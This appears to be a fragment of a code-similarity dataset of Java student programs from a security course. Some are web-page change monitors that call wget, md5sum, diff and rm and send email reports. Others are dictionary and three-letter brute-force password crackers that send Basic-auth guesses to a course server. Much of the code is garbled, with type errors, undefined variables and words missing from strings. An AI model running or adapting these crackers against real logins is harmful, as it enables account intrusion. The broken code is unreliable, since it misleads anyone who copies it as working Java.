\ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\ |
|
\ {\n str=bf.nextToken();\n if ((str.indexOf(\"\ |
|
gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\ |
|
\ }\n \n }\n\n }catch (IOException ioe)\n \ |
|
\ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ |
|
\ }\n catch (Exception e)\n {\n System.out.println(\"\ |
|
Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\ |
|
Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\ |
|
\n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\ |
|
\ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \ |
|
\ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\ |
|
\ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\ |
|
\ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ |
|
\ p.getInputStream()));\n pr.println(bf.readLine());\n\ |
|
\ \n for(int i=0; i<imgVect.size();i++)\n {\n imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))),\ |
|
\ i);\n imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))),\ |
|
\ i);\n\n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n\ |
|
\ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ |
|
\ p.getInputStream()));\n pr.println(bf.readLine());\n\ |
|
\ rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n }\n\ |
|
\ pr.get();\n\n } catch (IOException ioe)\n {\n \ |
|
\ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ |
|
\ }\n catch (InterruptedException intex)\n {\n \ |
|
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\ |
|
\ }\n\n if (tmpmdfile.exists())\n compVersions((imgVect.size())+1);\n\ |
|
\n }\n\n static void compVersions(int numlines)\n {\n\n int tmp = 0;\n\ |
|
\ int x = 0;\n String[] md5A = new String[numlines];\n Vector tmpmd5V\ |
|
\ = new Vector(); \n \n \ |
|
\ \n String[] tmpmd5A = null;\n StringTokenizer stoken\ |
|
\ = null;\n String mdImgName = null;\n String mdImgVal = null;\n \ |
|
\ String tmpImgName = null;\n String tmpImgVal = null;\n\n try\n\ |
|
\ {\n\n bf = new BufferedReader(new FileReader(mdfile));\n\n \ |
|
\ while((str = bf.readLine()) != null)\n {\n md5A[tmp]=str;\n\ |
|
\ tmp++;\n }\n\n bf = new BufferedReader(new FileReader(tmpmdfile));\n\ |
|
\ tmp=0;\n\n while ((str = bf.readLine()) !=null)\n {\n\ |
|
\ tmpmd5V.addElement(str);\n tmp++;\n }\n\n \ |
|
\ tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); \n\n\ |
|
\ if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n {\n mailwriter.println(\"\ |
|
---The file index.html has changed.---\");\n mailwriter.println(\"\ |
|
-Diff of old and new -\");\n changed=true;\n mailwriter.println();\n\ |
|
\ p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\"\ |
|
);\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\ |
|
\n while ((str = bf.readLine()) != null)\n mailwriter.println(str);\n\ |
|
\n }\n else\n {\n mailwriter.println(\"The\ |
|
\ file index.html hasn't changed.\");\n mailwriter.println();\n \ |
|
\ }\n\n mailwriter.println();\n mailwriter.println(\"Changes\ |
|
\ Images\");\n mailwriter.println(\"-----------------\");\n\n\n \ |
|
\ \n\n for (tmp=1; tmp<md5A.length; tmp++) \n {\n \ |
|
\ stoken = new StringTokenizer(md5A[tmp]);\n mdImgVal = stoken.nextToken();\n\ |
|
\ mdImgName = stoken.nextToken();\n for (x=1; x<tmpmd5A.length;\ |
|
\ x++)\n {\n stoken = new StringTokenizer(tmpmd5A[x]);\n\ |
|
\ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\ |
|
\n if (mdImgName.compareTo(tmpImgName) == 0)\n {\n\ |
|
\ if(mdImgVal.compareTo(tmpImgVal) == 0)\n {\n\ |
|
\ \n break;\n }\n \ |
|
\ else\n {\n mailwriter.println(\"\ |
|
The image \"+mdImgName+\" has changed.\");\n changed=true;\n\ |
|
\ break;\n }\n }\n \ |
|
\ if (x == ((tmpmd5A.length)-1))\n {\n mailwriter.println(\"\ |
|
The image \"+mdImgName+\" is new this \");\n changed=true;\n\ |
|
\ }\n }\n }\n\n for (tmp=1; tmp<tmpmd5A.length;\ |
|
\ tmp++) \n {\n stoken = new StringTokenizer(tmpmd5A[tmp]);\n\ |
|
\ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\ |
|
\ for (x=1; x<md5A.length; x++)\n {\n stoken\ |
|
\ = new StringTokenizer(md5A[x]);\n mdImgVal = stoken.nextToken();\n\ |
|
\ mdImgName = stoken.nextToken();\n if (tmpImgName.compareTo(mdImgName)\ |
|
\ == 0)\n {\n break;\n }\n \ |
|
\ if (x == ((md5A.length)-1))\n {\n mailwriter.println(\"\ |
|
The image \"+tmpImgName+\" is longer the \");\n changed=true;\n\ |
|
\ }\n }\n }\n\n\n } catch(IOException ioe)\n\ |
|
\ {System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ |
|
\ }\n catch(InterruptedException iex)\n {System.out.println(\"\ |
|
Interrupted Exception\");\n iex.printStackTrace();\n }\n\n }\n\ |
|
\n\n static Object getFullPath(String fname)\n {\n \n\n if(fname.charAt(0)==\ |
|
\ '/') \n fname=urlStr+fname; \n else if(fname.charAt(0) != 'h')\n\ |
|
\ fname=urlStr+'/'+fname;\n\n getImgFile(fname);\n\n return\ |
|
\ (Object)fname; \n }\n\n static void getImgFile(String fullPath)\n {\n\ |
|
\ \n\n try\n {\n qproc=Runtime.getRuntime().exec(\"/usr/local//wget\ |
|
\ \"+fullPath);\n qproc.waitFor();\n\n } catch (IOException ioe)\n\ |
|
\ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ |
|
\ }\n catch (InterruptedException intex)\n {\n \ |
|
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\ |
|
\ }\n }\n\n static void rmImgFile(String delpath)\n {\n \n\n\ |
|
\ try\n {\n qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n\ |
|
\ qproc.waitFor();\n\n } catch (IOException ioe)\n {\n \ |
|
\ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ |
|
\ }\n catch (InterruptedException intex)\n {\n \ |
|
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\ |
|
\ }\n \n }\n\n static Object getImgNames(String prsName)\n {\n\ |
|
\ \n \n String str = new StringTokenizer(prsName, \"/\", false);\n\ |
|
\n while(str.hasMoreTokens())\n {\n str=bgf.nextToken();\n \ |
|
\ if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n \ |
|
\ prsName=str;\n }\n return (Object)prsName;\n }\n}\n" |
|
- source_sentence: "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\n\ |
|
import java.io.*;\npublic class Dictionary {\n static String userName;\n static\ |
|
\ URL url;\n static URLAuthenticator urlAuthenticator;\n static int noOfAttempts;\n\ |
|
\ \n public Dictionary() {\n }\n\n public static void main (String args[])\ |
|
\ {\n Properties props = System.getProperties();\n props.put(\"http.proxyHost\"\ |
|
, \"bluetongue.cs.rmit.edu.:8080\");\n \n System.out.println(props.get(\"\ |
|
http.proxyHost\"));\n BufferedReader inFile = null;\n \n try {\n\ |
|
\t if (args.length < 1) { \n\t\t System.out.println (\"\ |
|
Usage : java Dictionary /usr/share/lib/dict/words\");\n \ |
|
\ System.exit(1);\n\t\t }\t \n\t \t inFile = new BufferedReader (new FileReader(args[0]));\n\ |
|
\n\n\n\t \t breakPassword(inFile);\n\t\t}\n\t\t\n\t\tcatch (FileNotFoundException\ |
|
\ e) { \n\t\t System.err.println(e.getMessage());\n\t\t System.exit(1);\n\ |
|
\ }\n catch (IOException e) { \n\ |
|
\ System.err.println(e.getMessage());\n \ |
|
\ System.exit(1);\n }\n\t finally {\n \t try {\n\t\t inFile.close();\ |
|
\ \n\n\t }\n\t catch (IOException ex) {ex.printStackTrace();} \n\t\ |
|
}\n\n }\n private static void breakPassword (BufferedReader file) throws\n IOException\ |
|
\ {\n String password=\" \";\n userName=\"\";\n boolean found= false;\n\ |
|
\ MyHttpURLConnection httpURLConnection;\n String passBase64=\" \"\ |
|
;\n urlAuthenticator = new URLAuthenticator(userName);\n HttpURLConnection\ |
|
\ u=null;\n String input;\n\ttry {\n\t \n\t url = new URL\ |
|
\ (\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \t \n \ |
|
\ } catch (MalformedURLException e){\n\t } catch (IOException io) {io.printStackTrace();}\n\ |
|
\t\n while (( input = file.readLine()) != null) {\n\t if (input.length()\ |
|
\ <=3) {\n password = input;\n\t\t password =\":\"+ password;\n\ |
|
\ \t \n try {\n u = (HttpURLConnection)url.openConnection();\n\ |
|
\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\ |
|
\t\t\t \n\n\t\t\t\n u.connect();\n\t\t noOfAttempts++;\t\ |
|
\n\t\t if (u.getContentLength() != 0) { \n\t\t \n\t\t if (u.getResponseCode()\ |
|
\ == HttpURLConnection.HTTP_OK ) {\n\t\t \n\t found=true;\n\ |
|
\ \t\t System.out.println(\"Your User Name : Password Combination is\ |
|
\ :\"+password+ \n\t\t\t \" \"+ \" Found by Thread\");\n\t\t\t System.out.println(\"\ |
|
\ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\ |
|
\t\t\t \n\t\t System.exit(0);\n\t\t }\t \n \ |
|
\ \n\t\t }\n\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\ |
|
\t\t } catch (BindException e){e.printStackTrace();\n\t\t } catch (IndexOutOfBoundsException\ |
|
\ e3){e3.printStackTrace();\n\t\t } catch (IOException io) {io.printStackTrace();\n\ |
|
\t\t } finally {u.disconnect();\n\t\t }\n }\n }\n\t\n\t\n\ |
|
\t\n\t\n\t\n\t\n\t\n }\n}\nclass URLAuthenticator extends Authenticator {\n\ |
|
\ private String uName;\n String passwd;\n static private char[] password;\n\ |
|
\ public URLAuthenticator(String uName) {\n this.uName = uName;\n }\n\ |
|
\ public void setPassword(String passwd) {\n\n this.passwd=passwd;\n \ |
|
\ password=passwd.toCharArray();\n\n }\n\n public PasswordAuthentication\ |
|
\ getPasswordAuthentication() {\n\n\t PasswordAuthentication passwordAuthentication\ |
|
\ = new PasswordAuthentication(uName,password);\n \t return passwordAuthentication;\n\ |
|
\ }\n}\nclass MyHttpURLConnection extends HttpURLConnection {\n public MyHttpURLConnection(URL\ |
|
\ url) {\n super(url);\n }\n public void disconnect() {\n }\n \ |
|
\ public boolean usingProxy() {\n return true;\n }\n public void\ |
|
\ connect() {\n }\n}\n\n\n \n\n\n" |
|
sentences: |
|
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\ |
|
\n\npublic class Dictionary\n{\n\n\tprivate String result =\"\";\n\n\tpublic\ |
|
\ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\ |
|
\ passwd)\n {\n this.pass = passwd;\n }\n\n\t \ |
|
\ protected PasswordAuthentication getPasswordAuthentication()\n \ |
|
\ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\ |
|
\ }\n public String pass;\n }\n\n public Dictionary()\ |
|
\ {\n\n DataInputStream dis = null;\n String record = null;\n \ |
|
\ int recCount = 0, flag=0;\n\t String result=\"\";\n java.util.Date\ |
|
\ d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\ |
|
\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\n\t\tint\ |
|
\ count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection\ |
|
\ = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\ |
|
\ File f = new File(\"/usr/share/lib/dict/words\");\n FileInputStream\ |
|
\ fis = new FileInputStream(f);\n BufferedInputStream bis = new BufferedInputStream(fis);\n\ |
|
\ dis = new DataInputStream(bis);\n\n while ( (record=dis.readLine())\ |
|
\ != null )\n\t\t {\n\t\t System.out.println(count+ \"\ |
|
\ ) \" + record);\n count++;\n connection\ |
|
\ = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new\ |
|
\ customAuthenticator(record));\n if (connection.getResponseCode()==200)\n\ |
|
\ { System.out.print(\"The password is : \"+record);\n\ |
|
\ System.out.println();\n \ |
|
\ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\ |
|
\ System.out.println(d1.toString());\n \ |
|
\ System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime()\ |
|
\ - d.getTime())/1000+\"\\n\");\n System.exit(0);\n\ |
|
\ }\n\n connection.disconnect();\n\ |
|
\ }\n }\n catch(Exception e)\ |
|
\ { System.err.println(e); }\n }\n\n\tpublic static void main(String[] args)\n\ |
|
\t{\n\n\t\tDictionary = new Dictionary();\n\n\n\t}\n}" |
|
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ |
|
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ |
|
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ |
|
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ |
|
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\ |
|
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ |
|
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ |
|
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ |
|
\ String line;\n while ((line = in.readLine()) != null) {\n \ |
|
\ System.out.println(line);\n }\n System.out.println(\"\ |
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ |
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ |
|
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ |
|
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ |
|
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ |
|
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ |
|
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ |
|
\ String();\n String c2 = new String();\n String c3 = new String();\n \ |
|
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ |
|
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ |
|
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ |
|
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ |
|
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ |
|
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ |
|
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \ |
|
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ |
|
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ |
|
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ |
|
\ username, String password) {\n return \" \" + base64Encode (username + \"\ |
|
:\" + password);\n }\n\n private final static char base64Array [] = {\n \ |
|
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ |
|
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ |
|
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ |
|
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ |
|
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ |
|
\n private static String base64Encode (String string) {\n String encodedString\ |
|
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ |
|
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ |
|
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ |
|
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ |
|
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ |
|
\ = 0;\n pad = 1;\n }\n else\n b3\ |
|
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ |
|
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ |
|
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
\ break;\n }\n }\n return encodedString;\n }\n }\n" |
|
- "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\ |
|
import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\ |
|
\ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\ |
|
\ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\ |
|
\ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\ |
|
;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\ |
|
\ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\ |
|
\ while (!loggedout){\n \n currentPage=\"\";\n \n \n \ |
|
\ Date date = new Date();\n startTime=date.getTime();\n \n \ |
|
\ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\ |
|
\ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\ |
|
\ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\ |
|
\ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\ |
|
\ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \ |
|
\ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \ |
|
\ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\ |
|
\ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\ |
|
\ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\ |
|
\ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\ |
|
if (checkCurrentPage.length()<checkLastPage.length()) {\n iterations\ |
|
\ = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n\ |
|
\ iterations = checkLastPage.length();\n\t lastLongestString = false;\n\ |
|
\t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean\ |
|
\ add=false;\n\tString subtractions = \"Here the parts removed from the : \\\ |
|
n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n\ |
|
\ \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\ |
|
\t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\ |
|
\ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\ |
|
\ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\ |
|
\ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\ |
|
\ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\ |
|
\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\ |
|
iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\ |
|
\";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\ |
|
\ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\ |
|
\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\ |
|
\t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\ |
|
\ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\ |
|
\t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \ |
|
\ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \ |
|
\ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\ |
|
\ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\ |
|
\t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\ |
|
\t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\ |
|
\ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\ |
|
\t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\ |
|
\ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\ |
|
\t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \ |
|
\ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\ |
|
\n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\ |
|
\ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\ |
|
\ \n writeData(currentPage);\n \n \n wait24(startTime);\n\ |
|
\ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\ |
|
\ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \ |
|
\ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\ |
|
\ \n waiting=false;\n }\t\n }\n } \n \n \n public\ |
|
\ static String readData() {\n String data;\n String lastPage=\"\";\n \ |
|
\ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\ |
|
));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\ |
|
\ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\ |
|
\ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\ |
|
IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\ |
|
\ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\ |
|
\ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\ |
|
\ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\ |
|
\ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\ |
|
\t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\ |
|
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\ |
|
);\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\ |
|
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\ |
|
);\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\ |
|
\ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\ |
|
\ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\ |
|
\ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\ |
|
\n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\ |
|
\ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\ |
|
\ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\ |
|
\ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\ |
|
\ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\ |
|
r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \ |
|
\ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\ |
|
\ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\ |
|
\\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\ |
|
: <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\ |
|
);\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\ |
|
r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\ |
|
\t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\ |
|
Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\ |
|
\ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\ |
|
\t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\ |
|
\ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\ |
|
Host unknown\"); \n }\n } \n \n} \n\n\n" |
|
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\ |
|
import java.text.*;\n\npublic class WatchDog extends Thread {\n\n private\ |
|
\ HttpURLConnection httpUrlCon;\n private URL stdurl; \n private\ |
|
\ String spec = \"http://www.cs.rmit.edu./students/\"; \n private String\ |
|
\ command=\"\"; \n\n private String firstModified =\"\";\ |
|
\ \n private String secModified = \"\"; \n private String\ |
|
\ fileModified = \"\"; \n\n private BufferedReader instd; \n\ |
|
\ private Vector firstVector; \n private Vector secondVector;\ |
|
\ \n private Vector tmpVector; \n\n private int\ |
|
\ intervalTime = 24*60*60*1000; \n private boolean bstop = false; \ |
|
\ \n private int count = 0; \n private\ |
|
\ int totalDuration = 30*24*60*60*1000; \n\n private String yourSMTPserver\ |
|
\ = \"mail.rmit.edu.\"; \n private int smtpPort = 25; \ |
|
\ \n private String mailFrom = \"@yallara.cs.rmit.edu.\"\ |
|
; \n private String mailTo = \"@.rmit.edu.\"; \n private String\ |
|
\ subject = \"\"; \n private String message\ |
|
\ =\"\"; \n\n private Socket socketsmtp;\ |
|
\ \n private BufferedReader emailin;\n private PrintStream emailout;\ |
|
\ \n private String reply = \"\"; \n \n public WatchDog(){\n\ |
|
\ firstVector = new Vector();\n secondVector = new Vector();\n\ |
|
\ tmpVector = new Vector();\n }\n \n public void\ |
|
\ FirstRead(){\n readContent(firstVector);\n firstModified\ |
|
\ = fileModified;\n }\n \n public void run(){\n \ |
|
\ while(!bstop){\n readPageAgain();\n }\n \ |
|
\ }\n \n public void readPageAgain(){\n try{\n \ |
|
\ Thread.sleep(intervalTime);\n\n }catch(InterruptedException\ |
|
\ e){e.printStackTrace();}\n count += intervalTime;\n \ |
|
\ readContent(secondVector);\n secModified = fileModified;\n\n\ |
|
\ if(firstModified.equals(secModified)){\n if(count\ |
|
\ == totalDuration)\n bstop =true;\n message\ |
|
\ = \"After \" + (double)intervalTime/(60*60*1000) + \" hours is change!\";\n\ |
|
\ subject = \" is change the web \";\n \ |
|
\ try{\n doSendMail(mailFrom, mailTo, subject, message);\n\ |
|
\ }catch (SMTPException e){}\n }\n \ |
|
\ else if(!(firstModified.equals(secModified))){\n if(count\ |
|
\ == totalDuration)\n bstop = true;\n \ |
|
\ message = getChangeMessage();\n subject = \" some changes\ |
|
\ the web \";\n try{\n doSendMail(mailFrom,\ |
|
\ mailTo, subject, message);\n }catch(SMTPException e){}\n\n\ |
|
\ firstModified = secModified;\n firstVector.clear();\n\ |
|
\ for(int i=0; i<secondVector.size(); i++){\n \ |
|
\ firstVector.add((String)secondVector.get(i));\n \ |
|
\ }\n }\n }\n \n public void readContent(Vector\ |
|
\ avect){\n\n String fmod =\"\";\n if(spec.indexOf(\"\ |
|
http://www.cs.rmit.edu./\")!=-1){\n fmod = \"File last modified\ |
|
\ :\";\n command = \"lynx -nolist -dump \" + spec;\n \ |
|
\ }\n else {\n fmod = \"Last-Modified:\";\n\ |
|
\ command =\"lynx -mime_header -dump \" +spec;\n \ |
|
\ }\n try{\n Runtime runtime = Runtime.getRuntime();\n\ |
|
\ Process p = runtime.exec(command);\n instd\ |
|
\ = new BufferedReader(new InputStreamReader(p.getInputStream()));\n \ |
|
\ String str=null;\n avect.clear();\n \ |
|
\ while((str = instd.readLine())!= null){\n avect.add(str);\n\ |
|
\ if(str.indexOf(fmod) !=-1){\n \ |
|
\ fileModified = str;\n }\n }\n\ |
|
